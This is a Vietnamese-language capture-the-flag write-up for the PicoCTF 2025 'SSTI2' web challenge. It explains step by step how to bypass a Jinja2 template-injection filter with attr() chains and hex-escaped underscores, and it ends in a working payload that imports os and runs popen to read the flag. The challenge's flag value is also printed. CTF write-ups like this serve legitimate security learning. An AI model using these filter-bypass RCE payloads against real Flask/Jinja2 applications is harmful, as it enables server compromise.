Bỏ qua

SSTI2

Introduction

PicoCTF 2025

Category: Web Exploitation

Write-up date: 18/03/2025

Question: I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :) I heard templating is a cool and modular way to build web apps! Check out my website here!

Point: Medium

Vulnerability

Recon

Là một chall kế tiếp của challenge 1, lần này hệ thống được nâng cấp lên với nhiều regex và các từ trong ban list để tránh người dùng có thể bybass sandbox và truy cập được vào shell để in ra flag.

Hint: regex cụ thể là r'[_\[\]\.]|\|join|base'

Exploit

Chúng ta thử dùng thử payload của bài cũ thì server trả về kết quả

payload_fail.png

Vậy có thể thấy được rằng trang web này đã có filter để ngăn chặn kẻ xấu xâm nhập vào web. Dựa vào các bước chọn như phần trước, ta lại tạo payload mới. Đầu tiên, chúng ta thử các global class xem cái nào dùng được.

Sau khi thử các global class trên thì ta thấy không cái nào bị chặn.

Vậy nên mình sẽ chọn thằng '' làm global class trong payload của mình.

Tiếp đến là truy cập đến method __class__. Khi ta chạy thử payload ''.__class__ thì hệ thống báo lỗi. Vậy khả năng hệ thống có thể đã chặn dấu _ hoặc dấu .. Vì vậy, thay vì sử dụng ''.__class__, ta có thể sử dụng {{''|attr(\x5f\x5fclass\x5f\x5f) | attr(mro)}}

Giải thích payload trên:

  • Thay vì sử dụng dấu ., trong jinja2, chúng ta còn có thể sử dụng | (hay còn gọi là Filter) để filter các giá trị trong biến đó.
  • attr() là một hàm filter đặc biệt. Khi cho một giá trị bất kỳ vào, jinja sẽ trả về attribute mang đúng với giá trị của biến đó. (ví dụ như là ''|attr('__class__') thì giá trị trả về sẽ là ''.__class__)
  • \x5f là một char đặc biệt, thay vì sử dụng dấu gạch dưới, ta có thể sử dụng bảng mã hex \x5f để bybass filter.

Tiếp đến là bước truy cập vào class <class 'object'>. Sau khi thử cả ba method __base__, __mro__()mro() thì cả hai cái mro đều sử dụng được, còn lại __base__ thì không sử dụng được nhưng sau khi hex toàn bộ chữ cái trong base \x5f\x5f\x62\x61\x73\x65\x5f\x5f thì ta có thể sử dụng như bình thường.

Vì muốn test tiếp xem trang còn filter gì không nên mình sử dụng hàm mro() làm payload. {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5f\x62\x61\x73\x65\x5f\x5f')()}}

Tiếp đến, sau khi truy cập được hàm mro(), chúng ta cần trỏ đến vị trí thứ [-1] trong mang để trỏ đến <class 'object'>. Tuy nhiên, khi nhập payload vào thì ta nhận được thông báo lỗi như sau.

payload_fail_2.png

Vậy là, khả năng hệ thống có thể đã filter dấu [], vậy ta loại bỏ trường hợp sử dụng __subclasses__ (Vì __subclasses__ cũng sử dụng list để lấy các object đã được khai báo trong chương trình).

Vì template là jinja2 nên ta còn một hướng đi khác là sử dụng __global__.__builtins__ và từ đó ta có thể import thư viện ngoài vào để RCE (cụ thể là thư viện os).

Trong jinja2, các function trong request, config hoặc một số function trong global object có thể truy cập vào __global__.__builtins__. Ta có thể list ra các hàm của global object thông qua [object].__class__.__dict__:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

Mình sẽ lựa chọn request.application để làm payload để truy cập vào __global__.__builtins__, từ đó gọi hàm __import__('os') và sử dụng function popen của os để đọc cũng như ghi file. Kết hợp các cách kể trên để né filter, ta có payload như sau:

  • Note: Tại vì attr() không thể lấy được các item trực tiếp từ dict, nên chúng ta phải sử dụng __getitem__ từ __global__ để đọc được __builtins__
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr("\x5f\x5fgetitem\x5f\x5f")('\x5f\x5fbuiltins\x5f\x5f')|attr("\x5f\x5fgetitem\x5f\x5f")('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}

Sau khi nhận đọc được file flag, ta nhận được flag như sau:

flag.png

FLAG: picoCTF{sst1_f1lt3r_byp4ss_7c3c6e7f}